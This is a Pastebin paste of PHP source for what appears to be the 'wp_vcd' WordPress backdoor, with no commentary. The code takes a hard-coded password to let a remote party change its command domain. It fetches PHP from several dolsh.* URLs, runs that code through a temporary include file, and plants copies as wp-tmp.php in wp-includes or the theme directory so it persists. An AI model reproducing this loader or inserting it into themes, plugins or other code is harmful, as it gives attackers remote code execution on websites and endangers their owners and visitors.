Advertisement
Guest User

Untitled

a guest
Apr 23rd, 2018
71
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 3.75 KB | None | 0 0
  1. <?php
  2. if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == 'some_pass'))
  3. {
  4.     $div_code_name="wp_vcd";
  5.     switch ($_REQUEST['action'])
  6.     {
  7.  
  8.  
  9.  
  10.  
  11.  
  12.  
  13.         case 'change_domain';
  14.             if (isset($_REQUEST['newdomain']))
  15.             {
  16.  
  17.                 if (!empty($_REQUEST['newdomain']))
  18.                 {
  19.                     if ($file = @file_get_contents(__FILE__))
  20.                     {
  21.                         if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code4\.php/i',$file,$matcholddomain))
  22.                         {
  23.  
  24.                             $file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file);
  25.                             @file_put_contents(__FILE__, $file);
  26.                             print "true";
  27.                         }
  28.  
  29.  
  30.                     }
  31.                 }
  32.             }
  33.             break;
  34.  
  35.  
  36.  
  37.         default: print "ERROR_WP_ACTION WP_V_CD WP_CD";
  38.     }
  39.  
  40.     die("");
  41. }
  42.  
  43.  
  44.  
  45.  
  46. $div_code_name = "wp_vcd";
  47. $funcfile      = __FILE__;
  48. if(!function_exists('theme_temp_setup')) {
  49.     $path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI];
  50.     if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {
  51.  
  52.         function file_get_contents_tcurl($url)
  53.         {
  54.             $ch = curl_init();
  55.             curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
  56.             curl_setopt($ch, CURLOPT_HEADER, 0);
  57.             curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  58.             curl_setopt($ch, CURLOPT_URL, $url);
  59.             curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
  60.             $data = curl_exec($ch);
  61.             curl_close($ch);
  62.             return $data;
  63.         }
  64.  
  65.         function theme_temp_setup($phpCode)
  66.         {
  67.             $tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
  68.             $handle   = fopen($tmpfname, "w+");
  69.             fwrite($handle, "<?php\n" . $phpCode);
  70.             fclose($handle);
  71.             include $tmpfname;
  72.             unlink($tmpfname);
  73.             return get_defined_vars();
  74.         }
  75.  
  76.         $wp_auth_key='';
  77.         if (($tmpcontent = @file_get_contents("http://www.dolsh.cc/code4.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.dolsh.cc/code4.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {
  78.  
  79.             if (stripos($tmpcontent, $wp_auth_key) !== false) {
  80.                 extract(theme_temp_setup($tmpcontent));
  81.                 @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
  82.  
  83.                 if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
  84.                     @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
  85.                     if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
  86.                         @file_put_contents('wp-tmp.php', $tmpcontent);
  87.                     }
  88.                 }
  89.  
  90.             }
  91.         }
  92.  
  93.  
  94.         elseif ($tmpcontent = @file_get_contents("http://www.dolsh.pw/code4.php")  AND stripos($tmpcontent, $wp_auth_key) !== false ) {
  95.  
  96.             if (stripos($tmpcontent, $wp_auth_key) !== false) {
  97.                 extract(theme_temp_setup($tmpcontent));
  98.                 @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
  99.  
  100.                 if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
  101.                     @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
  102.                     if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
  103.                         @file_put_contents('wp-tmp.php', $tmpcontent);
  104.                     }
  105.                 }
  106.  
  107.             }
  108.         } elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
  109.             extract(theme_temp_setup($tmpcontent));
  110.  
  111.         } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
  112.             extract(theme_temp_setup($tmpcontent));
  113.  
  114.         } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
  115.             extract(theme_temp_setup($tmpcontent));
  116.  
  117.         } elseif (($tmpcontent = @file_get_contents("http://www.dolsh.top/code4.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.dolsh.top/code4.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {
  118.             extract(theme_temp_setup($tmpcontent));
  119.  
  120.         }
  121.  
  122.  
  123.  
  124.  
  125.  
  126.     }
  127. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement